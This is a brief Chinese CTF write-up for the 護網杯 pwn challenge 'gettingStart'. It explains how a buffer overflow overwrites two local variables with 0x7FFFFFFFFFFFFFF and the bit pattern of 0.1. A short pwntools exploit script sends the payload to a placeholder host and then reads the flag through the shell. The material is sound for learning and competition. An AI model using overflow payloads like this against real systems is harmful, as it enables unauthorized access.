1. 程式人生 > >護網杯pwn題目gettingStart

護網杯pwn題目gettingStart

拖進IDA 通過main函式的程式碼顯而易見

v7需要等於0x7FFFFFFFFFFFFFF以及v8需要等於0.1

通過buf進行覆蓋即可

0.1在記憶體中的值為4591870180066957722

 double a = 0.1;
 printf("%lld\n", *(long long*)&a);
//輸出4591870180066957722

編寫指令碼

from pwn import *


r = remote('xxxxxxx',port)
#此處填寫你的題目ip和埠
r.send(b"a"*0x18+p64(0x7FFFFFFFFFFFFFF)+p64(4591870180066957722))
r.interactive()
#進入shell互動後
#輸入ls可以看到目錄下有個flag檔案
#cat flag即得到答案